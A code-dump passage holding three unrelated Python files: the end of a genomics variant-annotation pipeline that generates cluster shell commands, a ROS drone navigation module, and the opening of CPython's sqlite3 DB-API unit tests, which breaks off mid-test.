sys.exit("[ERROR] no files found in input directory")
return input_filenames
def purge(directory, pattern):
#function to purge files matching a pattern
for f in os.listdir(directory):
if re.search(pattern, f):
os.remove(os.path.join(directory, f))
def parse_config(args):
Config = ConfigParser.ConfigParser()
Config.read(args.config)
for i in [(args.inputdir, 'inputdir', 'main'),
(args.output, 'output', 'main'),
(args.steps, 'steps', 'main'),
(args.cluster, 'cluster', 'main'),
(args.ref, 'ref', 'varcall'),
(args.snpeff, 'snpeff', 'annotate'),
(args.annovcf, 'annovcf', 'annotate'),
(args.dbnsfp, 'dbnsfp', 'annotate'),
(args.vcftype, 'vcftype', 'filter')
]:
if not i[0] and i[1] in ConfigSectionMap(Config, i[2]):
vars(args)[i[1]] = ConfigSectionMap(Config, i[2])[i[1]]
return args
def ConfigSectionMap(Config, section):
"""Process config file"""
# https://wiki.python.org/moin/ConfigParserExamples
dict1 = {}
options = Config.options(section)
for option in options:
try:
dict1[option] = Config.get(section, option)
except:
print("exception on %s!" % option)
dict1[option] = None
return dict1
def runShellCmd(cmd):
proc = subprocess.Popen(
cmd,
shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE
)
print cmd
if proc.wait() != 0:
sys.exit("[ERROR] process '" + cmd + "' terminated with non-zero exit code")
def check_main_args(args):
if args.inputdir == None:
sys.exit("[ERROR]: Missing required '--inputdir' argument.")
if args.output == None:
sys.exit("[ERROR]: Missing required '--output' argument.")
if args.steps == None:
sys.exit("[ERROR]: Missing required '--steps' argument.")
if args.cluster == None:
sys.exit("[ERROR]: Missing rquired '--cluster' argument.")
#check for '/' at end of directories. remove if there
if re.search(".*\/$",args.inputdir):
args.inputdir = args.inputdir[:-1]
if re.search(".*\/$",args.output):
args.output = args.output[:-1]
def check_varcall_args(args):
if args.ref == None:
sys.exit("[ERROR]: Missing required '--ref' argument.")
if args.end <= args.start:
sys.exit("[ERROR]: '--end' argument >= '--start' argument")
def check_anno_args(args):
if args.snpeff == None:
sys.exit("[ERROR]: Missing required '--snpeff' argument.")
if args.dbnsfp == None:
sys.exit("[ERROR]: Missing required '--dbnsfp' argument.")
if args.annovcf == None:
sys.exit("[ERROR]: Missing required '--annovcf' argument.")
def check_filt_args(args):
if args.vcftype == None:
sys.exit("[ERROR]: Missing required '--vcftype' argument.")
def check_merge_args(args):
if args.mergename == None:
sys.exit("[ERROR]: Missing required '--mergename' argument.")
def multithread(function,arguments,input_filenames):
threads = []
for case_name in input_filenames:
t = Thread(target = function, args=(case_name,arguments))
threads.append(t)
#set inputdir as vcf_call's output
for i in threads:
i.start();
for i in threads:
i.join();
def snpeff_cmdgen(args,case_name):
#generate command for snpeff
cmd = "qsub -V -b y -sync y -N " + case_name \
+ " -l mem=10G,time=2:: -pe smp 2 " \
+ "-e " + args.output + "/annotate/logs/"+ case_name +".snpeff.e " \
+ "-o " + args.output+"/annotate/"+case_name+".eff.vcf " \
+ "java -Xmx6G " \
+ "-jar "+ args.snpeff+"/snpEff.jar -c "+ args.snpeff+"/snpEff.config" \
+ " GRCh37.71 " \
+ "-noStats -v -lof -canon " \
+ "-no-downstream -no-intergenic -no-intron -no-upstream -no-utr " \
+ args.inputdir+"/"+case_name+".vcf"\
+ " > " + args.output + "/annotate/logs/"+ case_name +".snpeff.o"
if(args.debug):
print('[Annotating with snpEff]')
print(cmd)
return cmd
def snpsift_cmdgen(args,case_name,vcf):
#generate command for snpsift annotate
cmd = "qsub -V -b y -sync y -N " + case_name \
+ " -l mem=10G,time=2:: -pe smp 2 " \
+ "-e " + args.output + "/annotate/logs/"+ case_name +".snpeff.e " \
+ "-o " + args.output+"/annotate/"+case_name+".eff.vcf.tmp " \
+ "java -Xmx6G " \
+ "-jar "+ args.snpeff+"/SnpSift.jar annotate -v " \
+ vcf + " " + args.output+"/annotate/"+case_name+".eff.vcf " \
+ " > " + args.output + "/annotate/logs/"+ case_name +".snpeff.o"
if(args.debug):
print(cmd)
return cmd
def snpdbnsfp_cmdgen(args,case_name,dbnsfp,header):
#generate command for snpsift dbnsfp
cmd = "qsub -V -b y -sync y -N " + case_name \
+ " -l mem=10G,time=2:: -pe smp 2 " \
+ "-e " + args.output + "/annotate/logs/"+ case_name +".snpeff.e " \
+ "-o " + args.output+"/annotate/"+case_name+".eff.all.vcf " \
+ "java -Xmx6G " \
+ "-jar "+ args.snpeff+"/SnpSift.jar dbnsfp " \
+ dbnsfp + " -v -f " + header + " " \
+ args.output+"/annotate/"+case_name+".eff.vcf " \
+ " > " + args.output + "/annotate/logs/"+ case_name +".snpeff.o"
if(args.debug):
print(cmd)
return cmd
def split_vcf(args,case_name,step):
if args.debug:
print("[Splitting vcf file by chromosome]")
for chrom in range(1,23):
if args.debug:
print("[Chromosome " + str(chrom) + "]")
runShellCmd("vcftools --recode --recode-INFO-all --vcf "
+ args.inputdir + "/" + case_name +".vcf"
+" --out " + args.output +"/"+ step+ "/"+ case_name +"."+ str(chrom) +" --chr " + str(chrom))
runShellCmd("vcftools --recode --recode-INFO-all --vcf "
+ args.inputdir + "/" + case_name +".vcf"
+" --out " + args.output +"/"+ step+ "/"+ case_name +".MISC --not-chr 1 --not-chr 2 --not-chr 3" +
" --not-chr 4 --not-chr 5 --not-chr 6 --not-chr 7 --not-chr 8 --not-chr 9 --not-chr 10 "+
"--not-chr 11 --not-chr 12 --not-chr 13 --not-chr 14 --not-chr 15 --not-chr 16 --not-chr 17 " +
"--not-chr 18 --not-chr 19 --not-chr 20 --not-chr 21 --not-chr 22")
|
Navigator_rs_test.py | #encoding=utf-8
'''
project overview:
Subscribe:
1.slam pose(global/local pose) *
2.octomap_server/global map
3.local pointcloud/local octomap
4.target input(semantic target/visual pose target/gps target)
Publish:
1.Mavros(amo) Command
2.Navigator status
Algorithms:
1.D*
2.state transfer
3.position->position PID controller
4.global/semantic/visual target to local pose
'''
import threading
import time
from path_optimization.path_pruning import PathPruning
# for ros
import rospy
from geometry_msgs.msg import PoseStamped, Twist
from std_msgs.msg import Float32, String
from sensor_msgs.msg import Imu, NavSatFix, PointCloud, PointCloud2
import sensor_msgs.point_cloud2 as pc2
from visualization_msgs.msg import Marker,MarkerArray
# for mavros
from mavros_msgs.msg import GlobalPositionTarget, State, PositionTarget#, Command
from mavros_msgs.srv import CommandBool, SetMode
# for octomap
from octomap_msgs.msg import Octomap, OctomapWithPose, octomap_msgs
from helper import save_points3D, load_points3D
# other useful utilities
#from pyquaternion import Quaternion
import pyquaternion
import astar.astar
import astar.driver
import time
import math
from enum import Enum
import thread
#from queue import Queue
#from Pos2PosController import Pos2PosController as Controller # TODO:re-implement this.
from SimController import Controller as Controller
import DiscreteGridUtils
import numpy as np
from RandomSampling.randomsampling import randomsampling
# define system status
class status(Enum):
INITIALIZED = 1
LOOKING_FOR_PATH = 2
LOOKING_FOR_PATH_SUCCEED = 3
LOOKING_FOR_PATH_FAILED = 4
GOING_TO_TARGET = 5
GOING_TO_VISION_TARGET = 6
class Navigator:
def __init__(self, save_pts=False, config_file_path=None):
if config_file_path:
pass
rospy.init_node("gi_navigator_node")
self.dg = DiscreteGridUtils.DiscreteGridUtils(grid_size=0.1) # modify grid size according to different purposes
self.rate = rospy.Rate(50)
self.driver = astar.driver.Driver()
self.controller = Controller()
self.mavros_state = "OFFBOARD"
self.set_status(status.INITIALIZED)
self.save_pts = save_pts
self.cur_command_id = 0
self.prev_command_id = 0
self.cur_target_position = None
self.task_id = -1
self.obstacle_set_mutex = threading.Lock() # mutex.acquire(timeout);mutex.release()
self.nav_command_mutex = threading.Lock() # for nav command in dstar and ros high level command.
self.local_pose_d = None
self.local_pose_c = None
self.navigator_status_pub = rospy.Publisher('/gi/navigator_status', String, queue_size=10)
self.path_plan_pub = rospy.Publisher('/gi/navi_path_plan', MarkerArray, queue_size=10)
self.path = []
self.path_prune = PathPruning(obstacle_distance=12)
self.rs = randomsampling()
t1 = threading.Thread(target=self.ros_thread)
t1.start()
'''
Navigating thread
'''
def keep_navigating(self):
while 1:
# get target position and local position in discrete
current_pos = self.get_local_pose_d()
end_pos = self.get_latest_target()
if current_pos is None:
print('current pose not valid!')
time.sleep(0.5)
continue
while not self.reachTargetPositionDiscrete(end_pos, 4) \
and (not self.navi_task_terminated()) \
and (not rospy.is_shutdown()): # Till task is finished:
print('From ', self.get_local_pose_d())
# This is the place where you modify path planner
t1 = time.time()
self.set_status(status.LOOKING_FOR_PATH)
print("start and end are: ", self.get_local_pose_d(), end_pos)
temp_obs = self.driver.get_obstacles_around()
if(temp_obs is not None):
_, self.path = self.rs.find_path(pose_d=self.get_local_pose_d(), target_pose_d=end_pos, obstacle_3d=temp_obs)
t2 = time.time()
print('A* time cost:', (t2 - t1))
if not self.path:
self.set_status(status.LOOKING_FOR_PATH_SUCCEED)
print('No path found!, self.path is None')
time.sleep(0.05)
else:
# Path found. keep state machine and do task step by step.
print("Path found!")
self.publish_path(self.path, (1, 0, 0))
self.set_status(status.LOOKING_FOR_PATH_FAILED)
# going through each waypoint
for next_move in self.path:
if self.navi_task_terminated():
break
print('next_move : ', next_move)
# if not self.driver.algo.is_valid(next_move, self.driver.get_obstacles_around()):
# print('Next waypoint is in collision with obstacle, path not valid!')
# break
next_position_continuous = self.dg.discrete_to_continuous_target(next_move)
print("local pose: ", self.local_pose_c)
print("target pose: ", next_position_continuous)
while not self.reachTargetPositionContinuous(next_position_continuous, 0.5):
self.controller.mav_move(next_position_continuous[0],
next_position_continuous[1],
next_position_continuous[2],
abs_mode=True)
time.sleep(0.05)
print("Target Reached!")
time.sleep(0.05) # wait for new nav task.
print("Mavros not in OFFBOARD mode, Disconnected!")
'''
move quad in body frame
'''
def terminate_navigating(self):
#TODO
pass
def resume_navigating(self):
#TODO
pass
def set_target_position(self, target_position):
if target_position and len(target_position) is 3:
self.cur_target_position = self.dg.continuous_to_discrete(target_position)
def get_latest_target(self):
return self.cur_target_position
def set_vision_target(self, vision_target):
self.set_status(status.GOING_TO_VISION_TARGET)
self.set_target_position(vision_target)
def navi_task_terminated(self):
if self.dist(self.local_pose_d, self.cur_target_position) < 2: #TODO: or stop flag is set.
return True
else:
return False
'''
Dstar Thread
def Dstar_thread(self):
while not rospy.is_shutdown():
while status!= xxx:# TODO
next_move = xxx
return next_move'''
'''##For test:
target = [0.5, 0.5, 0.5]
self.set_target_postion(target)
pass'''
'''
ROS thread
responsible for subscribers and publishers
'''
def ros_thread(self):
print('ros_thread spawn!!!!')
self.octomap_msg = None
# subscribers
self.slam_sub = rospy.Subscriber("/gi/slam_output/pose", PoseStamped, self.slam_pose_callback)
self.vision_target_sub = rospy.Subscriber("/gi/visual_target/pose", PoseStamped, self.vision_target_callback)
self.point_cloud_sub = rospy.Subscriber("/camera/left/point_cloud", PointCloud, self.point_cloud_callback)
self.octomap_cells_vis = rospy.Subscriber("/octomap_point_cloud_centers", PointCloud2, self.octomap_update_callback)
self.local_pose_sub = rospy.Subscriber("/mavros/local_position/pose", PoseStamped, self.local_pose_callback)
self.mavros_sub = rospy.Subscriber("/mavros/state", State, self.mavros_state_callback)
# publishers
#self.mavros_control_pub = rospy.Publisher('mavros/Command', Command, queue_size=10)
self.set_status(status.INITIALIZED)
rospy.spin()
'''
ROS callbacks
'''
def slam_pose_callback(self, msg):
self.slam_pose = msg
def vision_target_callback(self, msg):
self.vision_target = msg
#print("Received New Vision Target!")
def mavros_state_callback(self, msg):
self.mavros_state = msg.mode
self.navigator_status_pub.publish(self.STATUS)
def point_cloud_callback(self, msg):
self.current_point_cloud = msg
def octomap_update_callback(self, msg): # as pointcloud2.
obs_set = set()
for p in pc2.read_points(msg, field_names=("x", "y", "z"), skip_nans=True):
#print " x : %f y: %f z: %f" % (p[0], p[1], p[2])
point = self.dg.continuous_to_discrete((p[0], p[1], p[2]))
#print("corresponding discrete value: ", point)
obs_set.add(point)
# save points set
if(self.save_pts):
save_points3D(obs_set)
acquired = self.obstacle_set_mutex.acquire(True) # blocking.
if acquired:
#print('octomap updated!')
self.driver.set_obstacle_set(obs_set)
self.obstacle_set_mutex.release()
return
else:
print('Lock not acquired!')
def local_pose_callback(self, msg):
pose_ = msg.pose.position #TODO:do fusion with visual slam.
self.local_pose_c = (pose_.x, pose_.y, pose_.z)
self.local_pose_d = self.dg.continuous_to_discrete((pose_.x, pose_.y, pose_.z))
# return pose in discrete
def get_local_pose_d(self): # in mavros axis.for command.
return self.local_pose_d
# return pose in continuous
def get_local_pose_c(self):
return self.local_pose_c
'''
helper functions
'''
def set_status(self, status):
self.STATUS = String(status.name)
def dist(sefl, pos1, pos2):
if not pos1 or not pos2:
return False, 0
else:
return True, reduce(lambda x, y: x + y, map(lambda i: (pos1[i] - pos2[i]) ** 2, [0, 1, 2]))
# target should be Continuous
def reachTargetPositionContinuous(self, target, threshold=0.7):
delta_x = math.fabs(self.local_pose_c[0] - target[0])
delta_y = math.fabs(self.local_pose_c[1] - target[1])
delta_z = math.fabs(self.local_pose_c[2] - target[2])
distance = (delta_x + delta_y + delta_z)
print("distance: ", distance, "threshold: ", threshold)
if distance < threshold:
return True
else:
return False
# target should be discrete
def reachTargetPositionDiscrete(self, target, threshold=3):
delta_x = math.fabs(self.local_pose_d[0] - target[0])
delta_y = math.fabs(self.local_pose_d[1] - target[1])
delta_z = math.fabs(self.local_pose_d[2] - target[2])
distance = (delta_x + delta_y + delta_z)
print("distance: ", distance, "threshold: ", threshold)
if distance < threshold:
return True
else:
return False
def setMavMode(self, msg):
pass
def do_hover(self):
pass
def publish_path(self, path, RGB=(1, 0, 0)):
m_arr = MarkerArray()
marr_index = 0
for next_move in path:
point = self.dg.discrete_to_continuous_target((next_move[0], next_move[1], next_move[2]))
mk = Marker()
mk.header.frame_id = "map"
mk.action = mk.ADD
mk.id = marr_index
marr_index += 1
mk.color.r = RGB[0]
mk.color.g = RGB[1]
mk.color.b = RGB[2]
mk.color.a = 1.0
mk.type = mk.CUBE
mk.scale.x = 0.3
mk.scale.y = 0.3
mk.scale.z = 0.3
mk.pose.position.x = point[0]
mk.pose.position.y = point[1]
mk.pose.position.z = point[2]
m_arr.markers.append(mk)
self.path_plan_pub.publish(m_arr)
if __name__ == '__main__':
nav = Navigator(True)
# target position should be of size meter
nav.set_target_position((3, 0, 1))
nav.keep_navigating()
|
dbapi.py | # pysqlite2/test/dbapi.py: tests for DB-API compliance
#
# Copyright (C) 2004-2010 Gerhard Häring <gh@ghaering.de>
#
# This file is part of pysqlite.
#
# This software is provided 'as-is', without any express or implied
# warranty. In no event will the authors be held liable for any damages
# arising from the use of this software.
#
# Permission is granted to anyone to use this software for any purpose,
# including commercial applications, and to alter it and redistribute it
# freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you must not
# claim that you wrote the original software. If you use this software
# in a product, an acknowledgment in the product documentation would be
# appreciated but is not required.
# 2. Altered source versions must be plainly marked as such, and must not be
# misrepresented as being the original software.
# 3. This notice may not be removed or altered from any source distribution.
import contextlib
import sqlite3 as sqlite
import subprocess
import sys
import threading
import unittest
from test.support import (
SHORT_TIMEOUT,
bigmemtest,
check_disallow_instantiation,
threading_helper,
)
from test.support.os_helper import TESTFN, unlink, temp_dir
# Helper for tests using TESTFN
@contextlib.contextmanager
def managed_connect(*args, **kwargs):
cx = sqlite.connect(*args, **kwargs)
try:
yield cx
finally:
cx.close()
unlink(TESTFN)
class ModuleTests(unittest.TestCase):
def test_api_level(self):
self.assertEqual(sqlite.apilevel, "2.0",
"apilevel is %s, should be 2.0" % sqlite.apilevel)
def test_thread_safety(self):
self.assertEqual(sqlite.threadsafety, 1,
"threadsafety is %d, should be 1" % sqlite.threadsafety)
def test_param_style(self):
self.assertEqual(sqlite.paramstyle, "qmark",
"paramstyle is '%s', should be 'qmark'" %
sqlite.paramstyle)
def test_warning(self):
self.assertTrue(issubclass(sqlite.Warning, Exception),
"Warning is not a subclass of Exception")
def test_error(self):
self.assertTrue(issubclass(sqlite.Error, Exception),
"Error is not a subclass of Exception")
def test_interface_error(self):
self.assertTrue(issubclass(sqlite.InterfaceError, sqlite.Error),
"InterfaceError is not a subclass of Error")
def test_database_error(self):
self.assertTrue(issubclass(sqlite.DatabaseError, sqlite.Error),
"DatabaseError is not a subclass of Error")
def test_data_error(self):
self.assertTrue(issubclass(sqlite.DataError, sqlite.DatabaseError),
"DataError is not a subclass of DatabaseError")
def test_operational_error(self):
self.assertTrue(issubclass(sqlite.OperationalError, sqlite.DatabaseError),
"OperationalError is not a subclass of DatabaseError")
def test_integrity_error(self):
self.assertTrue(issubclass(sqlite.IntegrityError, sqlite.DatabaseError),
"IntegrityError is not a subclass of DatabaseError")
def test_internal_error(self):
self.assertTrue(issubclass(sqlite.InternalError, sqlite.DatabaseError),
"InternalError is not a subclass of DatabaseError")
def test_programming_error(self):
self.assertTrue(issubclass(sqlite.ProgrammingError, sqlite.DatabaseError),
"ProgrammingError is not a subclass of DatabaseError")
def test_not_supported_error(self):
self.assertTrue(issubclass(sqlite.NotSupportedError,
sqlite.DatabaseError),
"NotSupportedError is not a subclass of DatabaseError")
def test_module_constants(self):
consts = [
"SQLITE_ABORT",
"SQLITE_ALTER_TABLE",
"SQLITE_ANALYZE",
"SQLITE_ATTACH",
"SQLITE_AUTH",
"SQLITE_BUSY",
"SQLITE_CANTOPEN",
"SQLITE_CONSTRAINT",
"SQLITE_CORRUPT",
"SQLITE_CREATE_INDEX",
"SQLITE_CREATE_TABLE",
"SQLITE_CREATE_TEMP_INDEX",
"SQLITE_CREATE_TEMP_TABLE",
"SQLITE_CREATE_TEMP_TRIGGER",
"SQLITE_CREATE_TEMP_VIEW",
"SQLITE_CREATE_TRIGGER",
"SQLITE_CREATE_VIEW",
"SQLITE_CREATE_VTABLE",
"SQLITE_DELETE",
"SQLITE_DENY",
"SQLITE_DETACH",
"SQLITE_DONE",
"SQLITE_DROP_INDEX",
"SQLITE_DROP_TABLE",
"SQLITE_DROP_TEMP_INDEX",
"SQLITE_DROP_TEMP_TABLE",
"SQLITE_DROP_TEMP_TRIGGER",
"SQLITE_DROP_TEMP_VIEW",
"SQLITE_DROP_TRIGGER",
"SQLITE_DROP_VIEW",
"SQLITE_DROP_VTABLE",
"SQLITE_EMPTY",
"SQLITE_ERROR",
"SQLITE_FORMAT",
"SQLITE_FULL",
"SQLITE_FUNCTION",
"SQLITE_IGNORE",
"SQLITE_INSERT",
"SQLITE_INTERNAL",
"SQLITE_INTERRUPT",
"SQLITE_IOERR",
"SQLITE_LOCKED",
"SQLITE_MISMATCH",
"SQLITE_MISUSE",
"SQLITE_NOLFS",
"SQLITE_NOMEM",
"SQLITE_NOTADB",
"SQLITE_NOTFOUND",
"SQLITE_OK",
"SQLITE_PERM",
"SQLITE_PRAGMA",
"SQLITE_PROTOCOL",
"SQLITE_READ",
"SQLITE_READONLY",
"SQLITE_REINDEX",
"SQLITE_ROW",
"SQLITE_SAVEPOINT",
"SQLITE_SCHEMA",
"SQLITE_SELECT",
"SQLITE_TOOBIG",
"SQLITE_TRANSACTION",
"SQLITE_UPDATE",
]
if sqlite.version_info >= (3, 7, 17):
consts += ["SQLITE_NOTICE", "SQLITE_WARNING"]
if sqlite.version_info >= (3, 8, 3):
consts.append("SQLITE_RECURSIVE")
consts += ["PARSE_DECLTYPES", "PARSE_COLNAMES"]
for const in consts:
with self.subTest(const=const):
self.assertTrue(hasattr(sqlite, const))
def test_error_code_on_exception(self):
err_msg = "unable to open database file"
with temp_dir() as db:
with self.assertRaisesRegex(sqlite.Error, err_msg) as cm:
sqlite.connect(db)
e = cm.exception
self.assertEqual(e.sqlite_errorcode, sqlite.SQLITE_CANTOPEN)
self.assertEqual(e.sqlite_errorname, "SQLITE_CANTOPEN")
# sqlite3_enable_shared_cache() is deprecated on macOS and calling it may raise
# OperationalError on some buildbots.
@unittest.skipIf(sys.platform == "darwin", "shared cache is deprecated on macOS")
def test_shared_cache_deprecated(self):
for enable in (True, False):
with self.assertWarns(DeprecationWarning) as cm:
sqlite.enable_shared_cache(enable)
self.assertIn("dbapi.py", cm.filename)
def test_disallow_instantiation(self):
cx = sqlite.connect(":memory:")
check_disallow_instantiation(self, type(cx("select 1")))
def test_complete_statement(self):
self.assertFalse(sqlite.complete_statement("select t"))
self.assertTrue(sqlite.complete_statement("create table t(t);"))
class ConnectionTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.connect(":memory:")
cu = self.cx.cursor()
cu.execute("create table test(id integer primary key, name text)")
cu.execute("insert into test(name) values (?)", ("foo",))
def tearDown(self):
self.cx.close()
def test_commit(self):
self.cx.commit()
def test_commit_after_no_changes(self):
"""
A commit should also work when no changes were made to the database.
"""
self.cx.commit()
self.cx.commit()
def test_rollback(self):
self.cx.rollback()
def test_rollback_after_no_changes(self):
"""
A rollback should also work when no changes were made to the database.
"""
self.cx.rollback()
self.cx.rollback()
def test_cursor(self):
cu = self.cx.cursor()
def test_failed_open(self):
YOU_CANNOT_OPEN_THIS = "/foo/bar/bla/23534/mydb.db"
with self.assertRaises(sqlite.OperationalError):
con = sqlite.connect(YOU_CANNOT_OPEN_THIS)
def test_close(self):
self.cx.close()
def test_use_after_close(self):
sql = "select 1"
cu = self.cx.cursor()
res = cu.execute(sql)
self.cx.close()
self.assertRaises(sqlite.ProgrammingError, res.fetchall)
self.assertRaises(sqlite.ProgrammingError, cu.execute, sql)
self.assertRaises(sqlite.ProgrammingError, cu.executemany, sql, [])
self.assertRaises(sqlite.ProgrammingError, cu.executescript, sql)
self.assertRaises(sqlite.ProgrammingError, self.cx.execute, sql)
self.assertRaises(sqlite.ProgrammingError,
self.cx.executemany, sql, [])
self.assertRaises(sqlite.ProgrammingError, self.cx.executescript, sql)
self.assertRaises(sqlite.ProgrammingError,
self.cx.create_function, "t", 1, lambda x: x)
self.assertRaises(sqlite.ProgrammingError, self.cx.cursor)
with self.assertRaises(sqlite.ProgrammingError):
with self.cx:
pass
def test_exceptions(self):
# Optional DB-API extension.
self.assertEqual(self.cx.Warning, sqlite.Warning)
self.assertEqual(self.cx.Error, sqlite.Error)
self.assertEqual(self.cx.InterfaceError, sqlite.InterfaceError)
self.assertEqual(self.cx.DatabaseError, sqlite.DatabaseError)
self.assertEqual(self.cx.DataError, sqlite.DataError)
self.assertEqual(self.cx.OperationalError, sqlite.OperationalError)
self.assertEqual(self.cx.IntegrityError, sqlite.IntegrityError)
self.assertEqual(self.cx.InternalError, sqlite.InternalError)
self.assertEqual(self.cx.ProgrammingError, sqlite.ProgrammingError)
self.assertEqual(self.cx.NotSupportedError, sqlite.NotSupportedError)
def test_in_transaction(self):
# Can't use db from setUp because we want to test initial state.
cx = sqlite.connect(":memory:")
cu = cx.cursor()
self.assertEqual(cx.in_transaction, False)
cu.execute("create table transactiontest(id integer primary key, name text)")
self.assertEqual(cx.in_transaction, False)
cu.execute("insert into transactiontest(name) values (?)", ("foo",))
self.assertEqual(cx.in_transaction, True)
cu.execute("select name from transactiontest where name=?", ["foo"])
row = cu.fetchone()
self.assertEqual(cx.in_transaction, True)
cx.commit()
self.assertEqual(cx.in_transaction, False)
cu.execute("select name from transactiontest where name=?", ["foo"])
row = cu.fetchone()
self.assertEqual(cx.in_transaction, False)
def test_in_transaction_ro(self):
with self.assertRaises(AttributeError):
self.cx.in_transaction = True
def test_connection_exceptions(self):
exceptions = [
"DataError",
"DatabaseError",
"Error",
"IntegrityError",
"InterfaceError",
"NotSupportedError",
"OperationalError",
"ProgrammingError",
"Warning",
]
for exc in exceptions:
with self.subTest(exc=exc):
self.assertTrue(hasattr(self.cx, exc))
self.assertIs(getattr(sqlite, exc), getattr(self.cx, exc))
def test_interrupt_on_closed_db(self):
cx = sqlite.connect(":memory:")
cx.close()
with self.assertRaises(sqlite.ProgrammingError):
cx.interrupt()
def test_interrupt(self):
self.assertIsNone(self.cx.interrupt())
def test_drop_unused_refs(self):
for n in range(500):
cu = self.cx.execute(f"select {n}")
self.assertEqual(cu.fetchone()[0], n)
class UninitialisedConnectionTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.Connection.__new__(sqlite.Connection)
def test_uninit_operations(self):
funcs = (
lambda: self.cx.isolation_level,
lambda: self.cx.total_changes,
lambda: self.cx.in_transaction,
lambda: self.cx.iterdump(),
lambda: self.cx.cursor(),
lambda: self.cx.close(),
)
for func in funcs:
with self.subTest(func=func):
self.assertRaisesRegex(sqlite.ProgrammingError,
"Base Connection.__init__ not called",
func)
class OpenTests(unittest.TestCase):
_sql = "create table test(id integer)"
def test_open_with_path_like_object(self):
""" Checks that we can successfully connect to a database using an object that
is PathLike, i.e. has __fspath__(). """
class Path:
def __fspath__(self):
return TESTFN
path = Path()
with managed_connect(path) as cx:
cx.execute(self._sql)
def test_open_uri(self):
with managed_connect(TESTFN) as cx:
cx.execute(self._sql)
with managed_connect(f"file:{TESTFN}", uri=True) as cx:
cx.execute(self._sql)
with self.assertRaises(sqlite.OperationalError):
with managed_connect(f"file:{TESTFN}?mode=ro", uri=True) as cx:
cx.execute(self._sql)
def test_database_keyword(self):
with sqlite.connect(database=":memory:") as cx:
self.assertEqual(type(cx), sqlite.Connection)
class CursorTests(unittest.TestCase):
def setUp(self):
self.cx = sqlite.connect(":memory:")
self.cu = self.cx.cursor()
self.cu.execute(
"create table test(id integer primary key, name text, "
"income number, unique_test text unique)"
)
self.cu.execute("insert into test(name) values (?)", ("foo",))
def tearDown(self):
self.cu.close()
self.cx.close()
def test_execute_no_args(self):
self.cu.execute("delete from test")
def test_execute_illegal_sql(self):
with self.assertRaises(sqlite.OperationalError):
self.cu.execute("select asdf")
def test_execute_too_much_sql(self):
with self.assertRaises(sqlite.Warning):
self.cu.execute("select 5+4; select 4+5")
def test_execute_too_much_sql2(self):
self.cu.execute("select 5+4; -- foo bar")
def test_execute_too_much_sql3(self):
self.cu.execute("""
select 5+4;
/*
foo
*/
""")
def test_execute_wrong_sql_arg(self):
with self.assertRaises(TypeError):
self.cu.execute(42)
def test_execute_arg_int(self):
self.cu.execute("insert into test(id) values (?)", (42,))
def test_execute_arg_float(self):
self.cu.execute("insert into test(income) values (?)", (2500.32,))
def test_execute_arg_string(self):
self.cu.execute("insert into test(name) values (?)", ("Hugo",))
def test_execute_arg_string_with_zero_byte(self):
self.cu.execute("insert into test(name) values (?)", ("Hu\x00go",))
self.cu.execute("select name from test where id=?", (self.cu.lastrowid,))
row = self.cu.fetchone()
self.assertEqual(row[0], "Hu\x00go")
def test_execute_non_iterable(self):
with self.assertRaises(ValueError) as cm:
self.cu.execute("insert into test(id) values (?)", 42)
self.assertEqual(str(cm.exception), 'parameters are of unsupported type')
def test_execute_wrong_no_of_args1(self):
# too many parameters
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)", (17, "Egon"))
def test_execute_wrong_no_of_args2(self):
# too little parameters
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)")
def test_execute_wrong_no_of_args3(self):
# no parameters, parameters are needed
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("insert into test(id) values (?)")
def test_execute_param_list(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=?", ["foo"])
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_param_sequence(self):
class L:
def __len__(self):
return 1
def __getitem__(self, x):
assert x == 0
return "foo"
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=?", L())
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_param_sequence_bad_len(self):
# Issue41662: Error in __len__() was overridden with ProgrammingError.
class L:
def __len__(self):
1/0
def __getitem__(slf, x):
raise AssertionError
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(ZeroDivisionError):
self.cu.execute("select name from test where name=?", L())
def test_execute_dict_mapping(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=:name", {"name": "foo"})
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_dict_mapping_mapping(self):
class D(dict):
def __missing__(self, key):
return "foo"
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("select name from test where name=:name", D())
row = self.cu.fetchone()
self.assertEqual(row[0], "foo")
def test_execute_dict_mapping_too_little_args(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=:name and id=:id", {"name": "foo"})
def test_execute_dict_mapping_no_args(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=:name")
def test_execute_dict_mapping_unnamed(self):
self.cu.execute("insert into test(name) values ('foo')")
with self.assertRaises(sqlite.ProgrammingError):
self.cu.execute("select name from test where name=?", {"name": "foo"})
def test_close(self):
self.cu.close()
def test_rowcount_execute(self):
self.cu.execute("delete from test")
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("update test set name='bar'")
self.assertEqual(self.cu.rowcount, 2)
def test_rowcount_select(self):
"""
pysqlite does not know the rowcount of SELECT statements, because we
don't fetch all rows after executing the select statement. The rowcount
has thus to be -1.
"""
self.cu.execute("select 5 union select 6")
self.assertEqual(self.cu.rowcount, -1)
def test_rowcount_executemany(self):
self.cu.execute("delete from test")
self.cu.executemany("insert into test(name) values (?)", [(1,), (2,), (3,)])
self.assertEqual(self.cu.rowcount, 3)
def test_total_changes(self):
self.cu.execute("insert into test(name) values ('foo')")
self.cu.execute("insert into test(name) values ('foo')")
self.assertLess(2, self.cx.total_changes, msg='total changes reported wrong value')
# Checks for executemany:
# Sequences are required by the DB-API, iterators
# enhancements in pysqlite.
def test_execute_many_sequence(self):
self.cu.executemany("insert into test(income) values (?)", [(x,) for x in range(100, 110)])
def test_execute_many_iterator(self):
